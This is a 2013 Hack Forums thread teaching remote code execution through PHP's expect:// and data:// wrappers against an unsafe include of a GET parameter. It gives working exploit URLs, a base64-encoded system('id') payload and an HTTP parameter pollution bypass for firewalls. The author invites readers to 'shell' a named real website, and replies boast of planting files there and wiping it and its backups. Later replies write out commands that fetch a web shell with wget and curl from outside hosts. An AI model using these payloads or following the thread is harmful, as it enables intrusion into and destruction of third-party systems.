Hack Forums
[Antagonism/Infamous] RCE Through PHP Wrappers - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [Antagonism/Infamous] RCE Through PHP Wrappers (/showthread.php?tid=3597747)

Pages: Pages 1 2

[Antagonism/Infamous] RCE Through PHP Wrappers - Keeper - Jul 4, 2013

[Image: fH5gdWr.png]

Since I've not seen some of these methods covered around here (except for php://filter and php://input), I decided to put up some material on 'em. Basically, they are more than self-explanatory but I still feel the need to tutorialize the process. First of all, in order to execute anything, you'd need to comply with the following conditions:
  • $_GET parameter
    - Which we'll be passing the payload to
  • Version of PHP
    - 4.3+ for expect://
    - 5.2+ for data://
  • allow_url_include function enabled
    - In order to inject through the parameter

[Image: yZkXi3h.png]

The expect:// wrapper is not enabled by default as it's an extension from the PECL package (consider it installed for now). The syntax it accepts is:

Code
expect://[command]

Consider this small snippet running on the backend:

PHP Code

<?php

include $_GET['page'];
//..
?>

Now we can pretty much run everything php-valid through it. so take the following URL for instance:

Code
http://example.com/Keeper.php?page=expect://id

[Image: A01958S.png]

[Image: syhCoS2.png]

The data:// wrapper bears the same concept. Syntax followed:

Code
data://text/plain;base64,[command encoded in base64]

or we can simply:

Code
data://text/plain,[command]

We'll take under account that we'll be using the above inclusion of the $_GET parameter so there be two possible scenarios:

Code
http://example.com/Keeper.php?page=data://text/plain;base64,JTNDJTNGc3lzdGVtJTI4JTI3aWQlMjclMjklM0IlM0YlM0U=

Code
http://example.com/Keeper.php?page=data://text/plain,<?system('id');?>

In case of a WAF, filtering out code that is after the wrapper as in the last examples, we can use parameter pollution to pass/split our payload into two parts, resulting in both parameters being concatenated and separated by a comma likewise:

Code
http://example.com/Keeper.php?page=data://text/plain&page=<?system('id');?>

For the HPP part, I have this covered here, won't rephrase it again:
IDS & WAF Evasion with HTTP Parameter Pollution

[Image: NnwFjbv.png]

As of the content presented in this thread, let's see who will be able to shell

Code
http://gayovich.com.ua/

[Image: Lo3mEye.png]

Solutions are to be PMed obviously so as not to spoil it for others. Small and tidy.

* - MaXoNe - Jul 4, 2013

It is already full of shells lol.
Good tut btw :)

* - Zhen. - Jul 4, 2013

Gotta love them wrappers. <3
Pretty neat write-up and a great test example in relation to the tutorial. 🙂

* - urez - Jul 4, 2013

LMFAO looks like your site got hacked?
http://keeperax.netai.net/

Edit: The song is actually catchy.. still playing

* - Nyckel - Jul 4, 2013

http://gayovich.com.ua/araragi.txt

Yeah I can ddos... so what.

* - Keeper - Jul 4, 2013

(Jul 4, 2013 02:39 PM)urez Wrote:  LMFAO looks like your site got hacked?
http://keeperax.netai.net/

I had a page for my services as the index and since it never worked I couldn't just put blank dark-gray background.

* - urez - Jul 4, 2013

(Jul 4, 2013 02:44 PM)Keeper Wrote:  I had a page for my services as the index and since it never worked I couldn't just put blank dark-gray background.
Shame, I went there to buy one of your services and I see that :C

* - MaXoNe - Jul 4, 2013

http://gayovich.com.ua/maxone

http://gayovich.com.ua/maxone

* - Dyme‎‎‎‎‎‎‎‎‎‎‎‎ - Jul 4, 2013

http://gayovich.com.ua/instinct

http://gayovich.com.ua/instinct

someone was funny and deleted everything.

* - DpzFAsq4UEK8 - Jul 10, 2013

Thanks for lesson.
[Image: rsR1yie.png]

* - Apple J4ck. - Jul 10, 2013

Nice tutorial, thanks for the challenge.
http://gayovich.com.ua/AppleJ4ck.txt

* - VipVince - Jul 10, 2013

Just seen this and site is fucked, boner killer!

* - DpzFAsq4UEK8 - Jul 10, 2013

(Jul 10, 2013 04:49 AM)VipVince Wrote:  Just seen this and site is fucked, boner killer!

Sorry for fucking up the site.
Backups are removed too.

* - VipVince - Jul 10, 2013

Out of curiosity what was the solution since the site is completely fucked now?

Something like
PHP Code

<?php 
http://example.com/Keeper.php?page=data://text/plain&page=<?system('wget"www.someserver/shellphp -o egg.php");?>

Perhaps base64 encoded?

* - DpzFAsq4UEK8 - Jul 10, 2013

I base64 encoded this:
Code
<?system('curl http://b374k-shell.googlecode.com/files/b374k-2.5.php >> shellnamehere.php');?>